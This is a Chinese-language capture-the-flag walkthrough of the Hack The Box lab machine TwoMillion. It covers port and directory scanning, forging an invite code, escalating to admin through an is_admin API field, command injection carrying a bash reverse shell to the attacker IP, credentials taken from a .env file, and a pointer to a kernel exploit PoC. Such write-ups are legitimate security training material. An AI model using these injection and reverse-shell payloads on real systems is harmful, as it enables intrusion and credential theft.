简介
前言
HTB不能把active靶机的WP上传到网上,不然会被封号(汗)
没事咱邮箱多,继续创个就是了
环境
靶机名称:TwoMillion
靶机地址:https://app.hackthebox.com/machines/TwoMillion
靶机IP:10.129.29.77
攻击机IP(kali):10.10.16.8
扫描
nmap好慢……先用fscan开路
fscan -h 10.129.29.77 -nobr -p "1-65535"
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
10.129.29.77:22 open
10.129.29.77:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.129.29.77 code:301 len:162 title:301 Moved Permanently 跳转url: http://2million.htb/
已完成 2/2
22和80
HTTP
无法直接访问,先把域名2million.htb
加进hosts
sudo echo "10.129.29.77 2million.htb" >> /etc/hosts
这下真穿越了()
目录扫描
feroxbuster -u http://2million.htb/ -t 15 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -C 500 -d 2
比较引人注意的是api,查阅了相关文档,没有token的话我们几乎啥都做不了,所以先想办法注册个号
注册账号
/invite
路径即可注册号,但是要输入邀请码
在https://blog.csdn.net/Oavinci/article/details/90803233
找到直接生成邀请码的方法,首先打开浏览器开发者工具,然后在控制台中输入makeInviteCode()
解密出来内容为In order to generate the invite code, make a POST request to /api/v1/invite/generate
于是我们对该路径post一下
> curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"VUpSQjQtWTNVMEgtNElTWEMtMlIxMkI=","format":"encoded"}}
base64解密出来为UJRB4-Y3U0H-4ISXC-2R12B
输入后就可以注册了
目录爆破
界面上几个按钮按下去要么没反应要么没东西,直接跟它爆了
feroxbuster -u http://2million.htb/home/ -t 15 -w $HVV_Tool/8_dict/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -C 500 -d 2
/access
路径没见过,点进去看看
点击左下角的Connection Pack
,会跳转到/api/v1/user/vpn/generate
路径,然后下载一个openvpn文件。
根据之前爆过的路径,可以尝试将其中的user
换成admin
,发现有相应,但是无法下载——大概是因为我们并不是admin。
api提权
因为现在登陆了用户,有了一定权限,所以再去看看能利用哪些api。直接输入/api/v1
即可查看我们可以利用的api。
v1
user
GET
/api/v1 "Route List"
/api/v1/invite/how/to/generate "Instructions on invite code generation"
/api/v1/invite/generate "Generate invite code"
/api/v1/invite/verify "Verify invite code"
/api/v1/user/auth "Check if user is authenticated"
/api/v1/user/vpn/generate "Generate a new VPN configuration"
/api/v1/user/vpn/regenerate "Regenerate VPN configuration"
/api/v1/user/vpn/download "Download OVPN file"
POST
/api/v1/user/register "Register a new user"
/api/v1/user/login "Login with existing user"
admin
GET
/api/v1/admin/auth "Check if user is admin"
POST
/api/v1/admin/vpn/generate "Generate VPN for specific user"
PUT
/api/v1/admin/settings/update "Update user settings"
可以看到/api/v1/admin/settings/update
这个路径可以改变用户设置。直接PUT看看
响应Invalid content type
,因为没有指定Content-Type
头。改成application/json
。
现在又说缺email
参数。加一个我们注册的email即可。
(很奇怪,直接发送还是提示缺少email参数,但是原封不动地经过BP代理就又可以了)
经过BP代理。没办法,挂着好了,估计是BP转发的时候做了什么修正吧。
现在显示缺少is_admin参数,加上即可,把数值设置为1。
现在再给/api/v1/admin/auth
发个GET请求,可以看到我们已经是admin了。
命令注入
现在用POST访问/api/v1/admin/vpn/generate
,同上面一样,每次回显都会要求加几个参数,跟着做即可,最终命令如下,即可下载admin的vpn了。
curl -X POST -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -H "Content-Type: application/json" -d "{\"username\":\"123\"}" http://2million.htb/api/v1/admin/vpn/generate -o admin.ovpn
文件是下载下来了,但没有可以利用的地方。其实,无论username输入什么值,都会生成一个openvpn文件,也就是说,username在这里很可能只是某个bash脚本里面用来生成文件的参数——意味着命令注入。
首先用;
向前截断,再用#
向后截断,向中间插入命令即可
curl -X POST -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -H "Content-Type: application/json" -d "{\"username\":\"123;pwd #\"}" http://2million.htb/api/v1/admin/vpn/generate
执行命令成功。起个监听,把反弹shell塞进去,直接打回来。
rlwrap -cAr nc -lvvp 40001
curl -X POST -H "Cookie: PHPSESSID=f8sspsu3it6lpkvbvrk07vfs0g" -H "Content-Type: application/json" -d "{\"username\":\"123;bash -c 'bash -i >& /dev/tcp/10.10.16.8/40001 0>&1' #\"}" http://2million.htb/api/v1/admin/vpn/generate
html目录下用find遍历一下,找到一个隐藏文件
www-data@2million:~/html$ cat .env
cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
使用ssh连接admin用户,成功登陆。在用户目录下找到user.txt
提权
邮箱里面有给admin的消息
也就是说有个内核漏洞,根据其描述和内核版本,应该是指CVE-2023-0386,网上的poc还挺多的。
https://github.com/Fanxiaoyao66/CVE-2023-0386
结束